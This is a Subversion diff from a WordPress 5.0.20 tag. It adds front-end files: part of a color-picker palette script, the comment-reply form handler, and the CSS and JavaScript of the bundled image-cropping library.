+							"#55FF55","#44FF44","#33FF33","#22FF22","#11FF11","#00FF00","#00FF00","#00FF00","#00FF00","#00EE00","#00DD00","#00CC00",
+							"#00BB00","#00AA00","#009900","#008800","#007700","#006600","#005500","#004400","#003300","#002200","#001100","#000000",
+							"#000000","#000000","#000000","#110011","#220022","#330033","#440044","#550055","#660066","#770077","#880088","#990099",
+							"#AA00AA","#BB00BB","#CC00CC","#DD00DD","#EE00EE","#FF00FF","#FF00FF","#FF00FF","#FF00FF","#FF11FF","#FF22FF","#FF33FF",
+							"#FF44FF","#FF55FF","#FF66FF","#FF77FF","#FF88FF","#FF99FF","#FFAAFF","#FFBBFF","#FFCCFF","#FFDDFF","#FFEEFF","#FFFFFF",
+
+							"#4180B6","#69AEE7","#FFFFFF","#EEEEFF","#DDDDFF","#CCCCFF","#BBBBFF","#AAAAFF","#9999FF","#8888FF","#7777FF","#6666FF",
+							"#5555FF","#4444FF","#3333FF","#2222FF","#1111FF","#0000FF","#0000FF","#0000FF","#0000FF","#0000EE","#0000DD","#0000CC",
+							"#0000BB","#0000AA","#000099","#000088","#000077","#000066","#000055","#000044","#000033","#000022","#000011","#000000",
+							"#000000","#000000","#000000","#111100","#222200","#333300","#444400","#555500","#666600","#777700","#888800","#999900",
+							"#AAAA00","#BBBB00","#CCCC00","#DDDD00","#EEEE00","#FFFF00","#FFFF00","#FFFF00","#FFFF00","#FFFF11","#FFFF22","#FFFF33",
+							"#FFFF44","#FFFF55","#FFFF66","#FFFF77","#FFFF88","#FFFF99","#FFFFAA","#FFFFBB","#FFFFCC","#FFFFDD","#FFFFEE","#FFFFFF",
+
+							"#4180B6","#69AEE7","#FFFFFF","#FFFFFF","#FBFBFB","#F7F7F7","#F3F3F3","#EFEFEF","#EBEBEB","#E7E7E7","#E3E3E3","#DFDFDF",
+							"#DBDBDB","#D7D7D7","#D3D3D3","#CFCFCF","#CBCBCB","#C7C7C7","#C3C3C3","#BFBFBF","#BBBBBB","#B7B7B7","#B3B3B3","#AFAFAF",
+							"#ABABAB","#A7A7A7","#A3A3A3","#9F9F9F","#9B9B9B","#979797","#939393","#8F8F8F","#8B8B8B","#878787","#838383","#7F7F7F",
+							"#7B7B7B","#777777","#737373","#6F6F6F","#6B6B6B","#676767","#636363","#5F5F5F","#5B5B5B","#575757","#535353","#4F4F4F",
+							"#4B4B4B","#474747","#434343","#3F3F3F","#3B3B3B","#373737","#333333","#2F2F2F","#2B2B2B","#272727","#232323","#1F1F1F",
+							"#1B1B1B","#171717","#131313","#0F0F0F","#0B0B0B","#070707","#030303","#000000","#000000","#000000","#000000","#000000");
+	var total = colors.length;
+	var width = 72;
+	var cp_contents = "";
+	var windowRef = (windowMode)?"window.opener.":"";
+	if (windowMode) {
+		cp_contents += "<html><head><title>Select Color</title></head>";
+		cp_contents += "<body marginwidth=0 marginheight=0 leftmargin=0 topmargin=0><span style='text-align: center;'>";
+		}
+	cp_contents += "<table style='border: none;' cellspacing=0 cellpadding=0>";
+	var use_highlight = (document.getElementById || document.all)?true:false;
+	for (var i=0; i<total; i++) {
+		if ((i % width) == 0) { cp_contents += "<tr>"; }
+		if (use_highlight) { var mo = 'onMouseOver="'+windowRef+'ColorPicker_highlightColor(\''+colors[i]+'\',window.document)"'; }
+		else { mo = ""; }
+		cp_contents += '<td style="background-color: '+colors[i]+';"><a href="javascript:void()" onclick="'+windowRef+'ColorPicker_pickColor(\''+colors[i]+'\','+windowRef+'window.popupWindowObjects['+cp.index+']);return false;" '+mo+'>&nbsp;</a></td>';
+		if ( ((i+1)>=total) || (((i+1) % width) == 0)) {
+			cp_contents += "</tr>";
+			}
+		}
+	// If the browser supports dynamically changing TD cells, add the fancy stuff
+	if (document.getElementById) {
+		var width1 = Math.floor(width/2);
+		var width2 = width = width1;
+		cp_contents += "<tr><td colspan='"+width1+"' style='background-color: #FFF;' ID='colorPickerSelectedColor'>&nbsp;</td><td colspan='"+width2+"' style='text-align: center;' id='colorPickerSelectedColorValue'>#FFFFFF</td></tr>";
+		}
+	cp_contents += "</table>";
+	if (windowMode) {
+		cp_contents += "</span></body></html>";
+		}
+	// end populate code
+
+	// Write the contents to the popup object
+	cp.populate(cp_contents+"\n");
+	// Move the table down a bit so you can see it
+	cp.offsetY = 25;
+	cp.autoHide();
+	return cp;
+	}
Index: /tags/5.0.20/src/wp-includes/js/comment-reply.js
===================================================================
--- /tags/5.0.20/src/wp-includes/js/comment-reply.js	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/js/comment-reply.js	(revision 56912)
@@ -0,0 +1,127 @@
+/**
+ * @summary Handles the addition of the comment form.
+ *
+ * @since 2.7.0
+ *
+ * @type {Object}
+ */
+var addComment = {
+	/**
+	 * @summary Retrieves the elements corresponding to the given IDs.
+	 *
+	 * @since 2.7.0
+	 *
+	 * @param {string} commId The comment ID.
+	 * @param {string} parentId The parent ID.
+	 * @param {string} respondId The respond ID.
+	 * @param {string} postId The post ID.
+	 * @returns {boolean} Always returns false.
+	 */
+	moveForm: function( commId, parentId, respondId, postId ) {
+		var div, element, style, cssHidden,
+			t           = this,
+			comm        = t.I( commId ),
+			respond     = t.I( respondId ),
+			cancel      = t.I( 'cancel-comment-reply-link' ),
+			parent      = t.I( 'comment_parent' ),
+			post        = t.I( 'comment_post_ID' ),
+			commentForm = respond.getElementsByTagName( 'form' )[0];
+
+		if ( ! comm || ! respond || ! cancel || ! parent || ! commentForm ) {
+			return;
+		}
+
+		t.respondId = respondId;
+		postId = postId || false;
+
+		if ( ! t.I( 'wp-temp-form-div' ) ) {
+			div = document.createElement( 'div' );
+			div.id = 'wp-temp-form-div';
+			div.style.display = 'none';
+			respond.parentNode.insertBefore( div, respond );
+		}
+
+		comm.parentNode.insertBefore( respond, comm.nextSibling );
+		if ( post && postId ) {
+			post.value = postId;
+		}
+		parent.value = parentId;
+		cancel.style.display = '';
+
+		/**
+		 * @summary Puts back the comment, hides the cancel button and removes the onclick event.
+		 *
+		 * @returns {boolean} Always returns false.
+		 */
+		cancel.onclick = function() {
+			var t       = addComment,
+				temp    = t.I( 'wp-temp-form-div' ),
+				respond = t.I( t.respondId );
+
+			if ( ! temp || ! respond ) {
+				return;
+			}
+
+			t.I( 'comment_parent' ).value = '0';
+			temp.parentNode.insertBefore( respond, temp );
+			temp.parentNode.removeChild( temp );
+			this.style.display = 'none';
+			this.onclick = null;
+			return false;
+		};
+
+		/*
+		 * Sets initial focus to the first form focusable element.
+		 * Uses try/catch just to avoid errors in IE 7- which return visibility
+		 * 'inherit' when the visibility value is inherited from an ancestor.
+		 */
+		try {
+			for ( var i = 0; i < commentForm.elements.length; i++ ) {
+				element = commentForm.elements[i];
+				cssHidden = false;
+
+				// Modern browsers.
+				if ( 'getComputedStyle' in window ) {
+					style = window.getComputedStyle( element );
+				// IE 8.
+				} else if ( document.documentElement.currentStyle ) {
+					style = element.currentStyle;
+				}
+
+				/*
+				 * For display none, do the same thing jQuery does. For visibility,
+				 * check the element computed style since browsers are already doing
+				 * the job for us. In fact, the visibility computed style is the actual
+				 * computed value and already takes into account the element ancestors.
+				 */
+				if ( ( element.offsetWidth <= 0 && element.offsetHeight <= 0 ) || style.visibility === 'hidden' ) {
+					cssHidden = true;
+				}
+
+				// Skip form elements that are hidden or disabled.
+				if ( 'hidden' === element.type || element.disabled || cssHidden ) {
+					continue;
+				}
+
+				element.focus();
+				// Stop after the first focusable element.
+				break;
+			}
+
+		} catch( er ) {}
+
+		return false;
+	},
+
+	/**
+	 * @summary Returns the object corresponding to the given ID.
+	 *
+	 * @since 2.7.0
+	 *
+	 * @param {string} id The ID.
+	 * @returns {Element} The element belonging to the ID.
+	 */
+	I: function( id ) {
+		return document.getElementById( id );
+	}
+};
Index: /tags/5.0.20/src/wp-includes/js/crop/cropper.css
===================================================================
--- /tags/5.0.20/src/wp-includes/js/crop/cropper.css	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/js/crop/cropper.css	(revision 56912)
@@ -0,0 +1,165 @@
+.imgCrop_wrap {
+	/* width: 500px;   @done_in_js */
+	/* height: 375px;  @done_in_js */
+	position: relative;
+	cursor: crosshair;
+}
+
+/* an extra classname is applied for Opera < 9.0 to fix its lack of opacity support */
+.imgCrop_wrap.opera8 .imgCrop_overlay,
+.imgCrop_wrap.opera8 .imgCrop_clickArea { 
+	background-color: transparent;
+}
+
+/* fix for IE displaying all boxes at line-height by default, although they are still 1 pixel high until we combine them with the pointless span */
+.imgCrop_wrap,
+.imgCrop_wrap * {
+	font-size: 0;
+}
+
+.imgCrop_overlay {
+	background-color: #000;
+	opacity: 0.5;
+	filter:alpha(opacity=50);
+	position: absolute;
+	width: 100%;
+	height: 100%;
+}
+
+.imgCrop_selArea {
+	position: absolute;
+	/* @done_in_js 
+	top: 20px;
+	left: 20px;
+	width: 200px;
+	height: 200px;
+	background: transparent url(castle.jpg) no-repeat  -210px -110px;
+	*/
+	cursor: move;
+	z-index: 2;
+}
+
+/* clickArea is all a fix for IE 5.5 & 6 to allow the user to click on the given area */
+.imgCrop_clickArea {
+	width: 100%;
+	height: 100%;
+	background-color: #FFF;
+	opacity: 0.01;
+	filter:alpha(opacity=01);
+}
+
+.imgCrop_marqueeHoriz {
+	position: absolute;
+	width: 100%;
+	height: 1px;
+	background: transparent url(marqueeHoriz.gif) repeat-x 0 0;
+	z-index: 3;
+}
+
+.imgCrop_marqueeVert {
+	position: absolute;
+	height: 100%;
+	width: 1px;
+	background: transparent url(marqueeVert.gif) repeat-y 0 0;
+	z-index: 3;
+}
+
+.imgCrop_marqueeNorth { top: 0; left: 0; }
+.imgCrop_marqueeEast  { top: 0; right: 0; }
+.imgCrop_marqueeSouth { bottom: 0px; left: 0; }
+.imgCrop_marqueeWest  { top: 0; left: 0; }
+
+
+.imgCrop_handle {
+	position: absolute;
+	border: 1px solid #333;
+	width: 6px;
+	height: 6px;
+	background: #FFF;
+	opacity: 0.5;
+	filter:alpha(opacity=50);
+	z-index: 4;
+}
+
+/* fix IE 5 box model */
+* html .imgCrop_handle {
+	width: 8px;
+	height: 8px;
+	wid\th: 6px;
+	hei\ght: 6px;
+}
+
+.imgCrop_handleN {
+	top: -3px;
+	left: 0;
+	/* margin-left: 49%;    @done_in_js */
+	cursor: n-resize;
+}
+
+.imgCrop_handleNE { 
+	top: -3px;
+	right: -3px;
+	cursor: ne-resize;
+}
+
+.imgCrop_handleE {
+	top: 0;
+	right: -3px;
+	/* margin-top: 49%;    @done_in_js */
+	cursor: e-resize;
+}
+
+.imgCrop_handleSE {
+	right: -3px;
+	bottom: -3px;
+	cursor: se-resize;
+}
+
+.imgCrop_handleS {
+	right: 0;
+	bottom: -3px;
+	/* margin-right: 49%; @done_in_js */
+	cursor: s-resize;
+}
+
+.imgCrop_handleSW {
+	left: -3px;
+	bottom: -3px;
+	cursor: sw-resize;
+}
+
+.imgCrop_handleW {
+	top: 0;
+	left: -3px;
+	/* margin-top: 49%;  @done_in_js */
+	cursor: e-resize;
+}
+
+.imgCrop_handleNW {
+	top: -3px;
+	left: -3px;
+	cursor: nw-resize;
+}
+
+/**
+ * Create an area to click & drag around on as the default browser behaviour is to let you drag the image 
+ */
+.imgCrop_dragArea {
+	width: 100%;
+	height: 100%;
+	z-index: 200;
+	position: absolute;
+	top: 0;
+	left: 0;
+}
+
+.imgCrop_previewWrap {
+	/* width: 200px;  @done_in_js */
+	/* height: 200px; @done_in_js */
+	overflow: hidden;
+	position: relative;
+}
+
+.imgCrop_previewWrap img {
+	position: absolute;
+}
Index: /tags/5.0.20/src/wp-includes/js/crop/cropper.js
===================================================================
--- /tags/5.0.20/src/wp-includes/js/crop/cropper.js	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/js/crop/cropper.js	(revision 56912)
@@ -0,0 +1,516 @@
+/**
+ * Copyright (c) 2006, David Spurr (http://www.defusion.org.uk/)
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met:
+ *
+ *     * Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer.
+ *     * Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution.
+ *     * Neither the name of the David Spurr nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+ *
+ * http://www.opensource.org/licenses/bsd-license.php
+ *
+ * See scriptaculous.js for full scriptaculous licence
+ */
+
+var CropDraggable=Class.create();
+Object.extend(Object.extend(CropDraggable.prototype,Draggable.prototype),{initialize:function(_1){
+this.options=Object.extend({drawMethod:function(){
+}},arguments[1]||{});
+this.element=$(_1);
+this.handle=this.element;
+this.delta=this.currentDelta();
+this.dragging=false;
+this.eventMouseDown=this.initDrag.bindAsEventListener(this);
+Event.observe(this.handle,"mousedown",this.eventMouseDown);
+Draggables.register(this);
+},draw:function(_2){
+var _3=Position.cumulativeOffset(this.element);
+var d=this.currentDelta();
+_3[0]-=d[0];
+_3[1]-=d[1];
+var p=[0,1].map(function(i){
+return (_2[i]-_3[i]-this.offset[i]);
+}.bind(this));
+this.options.drawMethod(p);
+}});
+var Cropper={};
+Cropper.Img=Class.create();
+Cropper.Img.prototype={initialize:function(_7,_8){
+this.options=Object.extend({ratioDim:{x:0,y:0},minWidth:0,minHeight:0,displayOnInit:false,onEndCrop:Prototype.emptyFunction,captureKeys:true},_8||{});
+if(this.options.minWidth>0&&this.options.minHeight>0){
+this.options.ratioDim.x=this.options.minWidth;
+this.options.ratioDim.y=this.options.minHeight;
+}
+this.img=$(_7);
+this.clickCoords={x:0,y:0};
+this.dragging=false;
+this.resizing=false;
+this.isWebKit=/Konqueror|Safari|KHTML/.test(navigator.userAgent);
+this.isIE=/MSIE/.test(navigator.userAgent);
+this.isOpera8=/Opera\s[1-8]/.test(navigator.userAgent);
+this.ratioX=0;
+this.ratioY=0;
+this.attached=false;
+$A(document.getElementsByTagName("script")).each(function(s){
+if(s.src.match(/cropper\.js/)){
+var _a=s.src.replace(/cropper\.js(.*)?/,"");
+var _b=document.createElement("link");
+_b.rel="stylesheet";
+_b.type="text/css";
+_b.href=_a+"cropper.css";
+_b.media="screen";
+document.getElementsByTagName("head")[0].appendChild(_b);
+}
+});
+if(this.options.ratioDim.x>0&&this.options.ratioDim.y>0){
+var _c=this.getGCD(this.options.ratioDim.x,this.options.ratioDim.y);
+this.ratioX=this.options.ratioDim.x/_c;
+this.ratioY=this.options.ratioDim.y/_c;
+}
+this.subInitialize();
+if(this.img.complete||this.isWebKit){
+this.onLoad();
+}else{
+Event.observe(this.img,"load",this.onLoad.bindAsEventListener(this));
+}
+},getGCD:function(a,b){return 1;
+if(b==0){
+return a;
+}
+return this.getGCD(b,a%b);
+},onLoad:function(){
+var _f="imgCrop_";
+var _10=this.img.parentNode;
+var _11="";
+if(this.isOpera8){
+_11=" opera8";
+}
+this.imgWrap=Builder.node("div",{"class":_f+"wrap"+_11});
+if(this.isIE){
+this.north=Builder.node("div",{"class":_f+"overlay "+_f+"north"},[Builder.node("span")]);
+this.east=Builder.node("div",{"class":_f+"overlay "+_f+"east"},[Builder.node("span")]);
+this.south=Builder.node("div",{"class":_f+"overlay "+_f+"south"},[Builder.node("span")]);
+this.west=Builder.node("div",{"class":_f+"overlay "+_f+"west"},[Builder.node("span")]);
+var _12=[this.north,this.east,this.south,this.west];
+}else{
+this.overlay=Builder.node("div",{"class":_f+"overlay"});
+var _12=[this.overlay];
+}
+this.dragArea=Builder.node("div",{"class":_f+"dragArea"},_12);
+this.handleN=Builder.node("div",{"class":_f+"handle "+_f+"handleN"});
+this.handleNE=Builder.node("div",{"class":_f+"handle "+_f+"handleNE"});
+this.handleE=Builder.node("div",{"class":_f+"handle "+_f+"handleE"});
+this.handleSE=Builder.node("div",{"class":_f+"handle "+_f+"handleSE"});
+this.handleS=Builder.node("div",{"class":_f+"handle "+_f+"handleS"});
+this.handleSW=Builder.node("div",{"class":_f+"handle "+_f+"handleSW"});
+this.handleW=Builder.node("div",{"class":_f+"handle "+_f+"handleW"});
+this.handleNW=Builder.node("div",{"class":_f+"handle "+_f+"handleNW"});
+this.selArea=Builder.node("div",{"class":_f+"selArea"},[Builder.node("div",{"class":_f+"marqueeHoriz "+_f+"marqueeNorth"},[Builder.node("span")]),Builder.node("div",{"class":_f+"marqueeVert "+_f+"marqueeEast"},[Builder.node("span")]),Builder.node("div",{"class":_f+"marqueeHoriz "+_f+"marqueeSouth"},[Builder.node("span")]),Builder.node("div",{"class":_f+"marqueeVert "+_f+"marqueeWest"},[Builder.node("span")]),this.handleN,this.handleNE,this.handleE,this.handleSE,this.handleS,this.handleSW,this.handleW,this.handleNW,Builder.node("div",{"class":_f+"clickArea"})]);
+Element.setStyle($(this.selArea),{backgroundColor:"transparent",backgroundRepeat:"no-repeat",backgroundPosition:"0 0"});
+this.imgWrap.appendChild(this.img);
+this.imgWrap.appendChild(this.dragArea);
+this.dragArea.appendChild(this.selArea);
+this.dragArea.appendChild(Builder.node("div",{"class":_f+"clickArea"}));
+_10.appendChild(this.imgWrap);
+Event.observe(this.dragArea,"mousedown",this.startDrag.bindAsEventListener(this));
+Event.observe(document,"mousemove",this.onDrag.bindAsEventListener(this));
+Event.observe(document,"mouseup",this.endCrop.bindAsEventListener(this));
+var _13=[this.handleN,this.handleNE,this.handleE,this.handleSE,this.handleS,this.handleSW,this.handleW,this.handleNW];
+for(var i=0;i<_13.length;i++){
+Event.observe(_13[i],"mousedown",this.startResize.bindAsEventListener(this));
+}
+if(this.options.captureKeys){
+Event.observe(document,"keydown",this.handleKeys.bindAsEventListener(this));
+}
+new CropDraggable(this.selArea,{drawMethod:this.moveArea.bindAsEventListener(this)});
+this.setParams();
+},setParams:function(){
+this.imgW=this.img.width;
+this.imgH=this.img.height;
+if(!this.isIE){
+Element.setStyle($(this.overlay),{width:this.imgW+"px",height:this.imgH+"px"});
+Element.hide($(this.overlay));
+Element.setStyle($(this.selArea),{backgroundImage:"url("+this.img.src+")"});
+}else{
+Element.setStyle($(this.north),{height:0});
+Element.setStyle($(this.east),{width:0,height:0});
+Element.setStyle($(this.south),{height:0});
+Element.setStyle($(this.west),{width:0,height:0});
+}
+Element.setStyle($(this.imgWrap),{"width":this.imgW+"px","height":this.imgH+"px"});
+Element.hide($(this.selArea));
+var _15=Position.positionedOffset(this.imgWrap);
+this.wrapOffsets={"top":_15[1],"left":_15[0]};
+var _16={x1:0,y1:0,x2:0,y2:0};
+this.setAreaCoords(_16);
+if(this.options.ratioDim.x>0&&this.options.ratioDim.y>0&&this.options.displayOnInit){
+_16.x1=Math.ceil((this.imgW-this.options.ratioDim.x)/2);
+_16.y1=Math.ceil((this.imgH-this.options.ratioDim.y)/2);
+_16.x2=_16.x1+this.options.ratioDim.x;
+_16.y2=_16.y1+this.options.ratioDim.y;
+Element.show(this.selArea);
+this.drawArea();
+this.endCrop();
+}
+this.attached=true;
+},remove:function(){
+this.attached=false;
+this.imgWrap.parentNode.insertBefore(this.img,this.imgWrap);
+this.imgWrap.parentNode.removeChild(this.imgWrap);
+Event.stopObserving(this.dragArea,"mousedown",this.startDrag.bindAsEventListener(this));
+Event.stopObserving(document,"mousemove",this.onDrag.bindAsEventListener(this));
+Event.stopObserving(document,"mouseup",this.endCrop.bindAsEventListener(this));
+var _17=[this.handleN,this.handleNE,this.handleE,this.handleSE,this.handleS,this.handleSW,this.handleW,this.handleNW];
+for(var i=0;i<_17.length;i++){
+Event.stopObserving(_17[i],"mousedown",this.startResize.bindAsEventListener(this));
+}
+if(this.options.captureKeys){
+Event.stopObserving(document,"keydown",this.handleKeys.bindAsEventListener(this));
+}
+},reset:function(){
+if(!this.attached){
+this.onLoad();
+}else{
+this.setParams();
+}
+this.endCrop();
+},handleKeys:function(e){
+var dir={x:0,y:0};
+if(!this.dragging){
+switch(e.keyCode){
+case (37):
+dir.x=-1;
+break;
+case (38):
+dir.y=-1;
+break;
+case (39):
+dir.x=1;
+break;
+case (40):
+dir.y=1;
+break;
+}
+if(dir.x!=0||dir.y!=0){
+if(e.shiftKey){
+dir.x*=10;
+dir.y*=10;
+}
+this.moveArea([this.areaCoords.x1+dir.x,this.areaCoords.y1+dir.y]);
+Event.stop(e);
+}
+}
+},calcW:function(){
+return (this.areaCoords.x2-this.areaCoords.x1);
+},calcH:function(){
+return (this.areaCoords.y2-this.areaCoords.y1);
+},moveArea:function(_1b){
+this.setAreaCoords({x1:_1b[0],y1:_1b[1],x2:_1b[0]+this.calcW(),y2:_1b[1]+this.calcH()},true);
+this.drawArea();
+},cloneCoords:function(_1c){
+return {x1:_1c.x1,y1:_1c.y1,x2:_1c.x2,y2:_1c.y2};
+},setAreaCoords:function(_1d,_1e,_1f,_20,_21){
+var _22=typeof _1e!="undefined"?_1e:false;
+var _23=typeof _1f!="undefined"?_1f:false;
+if(_1e){
+var _24=_1d.x2-_1d.x1;
+var _25=_1d.y2-_1d.y1;
+if(_1d.x1<0){
+_1d.x1=0;
+_1d.x2=_24;
+}
+if(_1d.y1<0){
+_1d.y1=0;
+_1d.y2=_25;
+}
+if(_1d.x2>this.imgW){
+_1d.x2=this.imgW;
+_1d.x1=this.imgW-_24;
+}
+if(_1d.y2>this.imgH){
+_1d.y2=this.imgH;
+_1d.y1=this.imgH-_25;
+}
+}else{
+if(_1d.x1<0){
+_1d.x1=0;
+}
+if(_1d.y1<0){
+_1d.y1=0;
+}
+if(_1d.x2>this.imgW){
+_1d.x2=this.imgW;
+}
+if(_1d.y2>this.imgH){
+_1d.y2=this.imgH;
+}
+if(typeof (_20)!="undefined"){
+if(this.ratioX>0){
+this.applyRatio(_1d,{x:this.ratioX,y:this.ratioY},_20,_21);
+}else{
+if(_23){
+this.applyRatio(_1d,{x:1,y:1},_20,_21);
+}
+}
+var _26={a1:_1d.x1,a2:_1d.x2};
+var _27={a1:_1d.y1,a2:_1d.y2};
+var _28=this.options.minWidth;
+var _29=this.options.minHeight;
+if((_28==0||_29==0)&&_23){
+if(_28>0){
+_29=_28;
+}else{
+if(_29>0){
+_28=_29;
+}
+}
+}
+this.applyMinDimension(_26,_28,_20.x,{min:0,max:this.imgW});
+this.applyMinDimension(_27,_29,_20.y,{min:0,max:this.imgH});
+_1d={x1:_26.a1,y1:_27.a1,x2:_26.a2,y2:_27.a2};
+}
+}
+this.areaCoords=_1d;
+},applyMinDimension:function(_2a,_2b,_2c,_2d){
+if((_2a.a2-_2a.a1)<_2b){
+if(_2c==1){
+_2a.a2=_2a.a1+_2b;
+}else{
+_2a.a1=_2a.a2-_2b;
+}
+if(_2a.a1<_2d.min){
+_2a.a1=_2d.min;
+_2a.a2=_2b;
+}else{
+if(_2a.a2>_2d.max){
+_2a.a1=_2d.max-_2b;
+_2a.a2=_2d.max;
+}
+}
+}
+},applyRatio:function(_2e,_2f,_30,_31){
+var _32;
+if(_31=="N"||_31=="S"){
+_32=this.applyRatioToAxis({a1:_2e.y1,b1:_2e.x1,a2:_2e.y2,b2:_2e.x2},{a:_2f.y,b:_2f.x},{a:_30.y,b:_30.x},{min:0,max:this.imgW});
+_2e.x1=_32.b1;
+_2e.y1=_32.a1;
+_2e.x2=_32.b2;
+_2e.y2=_32.a2;
+}else{
+_32=this.applyRatioToAxis({a1:_2e.x1,b1:_2e.y1,a2:_2e.x2,b2:_2e.y2},{a:_2f.x,b:_2f.y},{a:_30.x,b:_30.y},{min:0,max:this.imgH});
+_2e.x1=_32.a1;
+_2e.y1=_32.b1;
+_2e.x2=_32.a2;
+_2e.y2=_32.b2;
+}
+},applyRatioToAxis:function(_33,_34,_35,_36){
+var _37=Object.extend(_33,{});
+var _38=_37.a2-_37.a1;
+var _3a=Math.floor(_38*_34.b/_34.a);
+var _3b;
+var _3c;
+var _3d=null;
+if(_35.b==1){
+_3b=_37.b1+_3a;
+if(_3b>_36.max){
+_3b=_36.max;
+_3d=_3b-_37.b1;
+}
+_37.b2=_3b;
+}else{
+_3b=_37.b2-_3a;
+if(_3b<_36.min){
+_3b=_36.min;
+_3d=_3b+_37.b2;
+}
+_37.b1=_3b;
+}
+if(_3d!=null){
+_3c=Math.floor(_3d*_34.a/_34.b);
+if(_35.a==1){
+_37.a2=_37.a1+_3c;
+}else{
+_37.a1=_37.a1=_37.a2-_3c;
+}
+}
+return _37;
+},drawArea:function(){
+if(!this.isIE){
+Element.show($(this.overlay));
+}
+var _3e=this.calcW();
+var _3f=this.calcH();
+var _40=this.areaCoords.x2;
+var _41=this.areaCoords.y2;
+var _42=this.selArea.style;
+_42.left=this.areaCoords.x1+"px";
+_42.top=this.areaCoords.y1+"px";
+_42.width=_3e+"px";
+_42.height=_3f+"px";
+var _43=Math.ceil((_3e-6)/2)+"px";
+var _44=Math.ceil((_3f-6)/2)+"px";
+this.handleN.style.left=_43;
+this.handleE.style.top=_44;
+this.handleS.style.left=_43;
+this.handleW.style.top=_44;
+if(this.isIE){
+this.north.style.height=this.areaCoords.y1+"px";
+var _45=this.east.style;
+_45.top=this.areaCoords.y1+"px";
+_45.height=_3f+"px";
+_45.left=_40+"px";
+_45.width=(this.img.width-_40)+"px";
+var _46=this.south.style;
+_46.top=_41+"px";
+_46.height=(this.img.height-_41)+"px";
+var _47=this.west.style;
+_47.top=this.areaCoords.y1+"px";
+_47.height=_3f+"px";
+_47.width=this.areaCoords.x1+"px";
+}else{
+_42.backgroundPosition="-"+this.areaCoords.x1+"px "+"-"+this.areaCoords.y1+"px";
+}
+this.subDrawArea();
+this.forceReRender();
+},forceReRender:function(){
+if(this.isIE||this.isWebKit){
+var n=document.createTextNode(" ");
+var d,el,fixEL,i;
+if(this.isIE){
+fixEl=this.selArea;
+}else{
+if(this.isWebKit){
+fixEl=document.getElementsByClassName("imgCrop_marqueeSouth",this.imgWrap)[0];
+d=Builder.node("div","");
+d.style.visibility="hidden";
+var _4a=["SE","S","SW"];
+for(i=0;i<_4a.length;i++){
+el=document.getElementsByClassName("imgCrop_handle"+_4a[i],this.selArea)[0];
+if(el.childNodes.length){
+el.removeChild(el.childNodes[0]);
+}
+el.appendChild(d);
+}
+}
+}
+fixEl.appendChild(n);
+fixEl.removeChild(n);
+}
+},startResize:function(e){
+this.startCoords=this.cloneCoords(this.areaCoords);
+this.resizing=true;
+this.resizeHandle=Element.classNames(Event.element(e)).toString().replace(/([^N|NE|E|SE|S|SW|W|NW])+/,"");
+Event.stop(e);
+},startDrag:function(e){
+Element.show(this.selArea);
+this.clickCoords=this.getCurPos(e);
+this.setAreaCoords({x1:this.clickCoords.x,y1:this.clickCoords.y,x2:this.clickCoords.x,y2:this.clickCoords.y});
+this.dragging=true;
+this.onDrag(e);
+Event.stop(e);
+},getCurPos:function(e){
+return curPos={x:Event.pointerX(e)-this.wrapOffsets.left,y:Event.pointerY(e)-this.wrapOffsets.top};
+},onDrag:function(e){
+var _4f=null;
+if(this.dragging||this.resizing){
+var _50=this.getCurPos(e);
+var _51=this.cloneCoords(this.areaCoords);
+var _52={x:1,y:1};
+}
+if(this.dragging){
+if(_50.x<this.clickCoords.x){
+_52.x=-1;
+}
+if(_50.y<this.clickCoords.y){
+_52.y=-1;
+}
+this.transformCoords(_50.x,this.clickCoords.x,_51,"x");
+this.transformCoords(_50.y,this.clickCoords.y,_51,"y");
+}else{
+if(this.resizing){
+_4f=this.resizeHandle;
+if(_4f.match(/E/)){
+this.transformCoords(_50.x,this.startCoords.x1,_51,"x");
+if(_50.x<this.startCoords.x1){
+_52.x=-1;
+}
+}else{
+if(_4f.match(/W/)){
+this.transformCoords(_50.x,this.startCoords.x2,_51,"x");
+if(_50.x<this.startCoords.x2){
+_52.x=-1;
+}
+}
+}
+if(_4f.match(/N/)){
+this.transformCoords(_50.y,this.startCoords.y2,_51,"y");
+if(_50.y<this.startCoords.y2){
+_52.y=-1;
+}
+}else{
+if(_4f.match(/S/)){
+this.transformCoords(_50.y,this.startCoords.y1,_51,"y");
+if(_50.y<this.startCoords.y1){
+_52.y=-1;
+}
+}
+}
+}
+}
+if(this.dragging||this.resizing){
+this.setAreaCoords(_51,false,e.shiftKey,_52,_4f);
+this.drawArea();
+Event.stop(e);
+}
+},transformCoords:function(_53,_54,_55,_56){
+var _57=new Array();
+if(_53<_54){
+_57[0]=_53;
+_57[1]=_54;
+}else{
+_57[0]=_54;
+_57[1]=_53;
+}
+if(_56=="x"){
+_55.x1=_57[0];
+_55.x2=_57[1];
+}else{
+_55.y1=_57[0];
+_55.y2=_57[1];
+}
+},endCrop:function(){
+this.dragging=false;
+this.resizing=false;
+this.options.onEndCrop(this.areaCoords,{width:this.calcW(),height:this.calcH()});
+},subInitialize:function(){
+},subDrawArea:function(){
+}};
+Cropper.ImgWithPreview=Class.create();
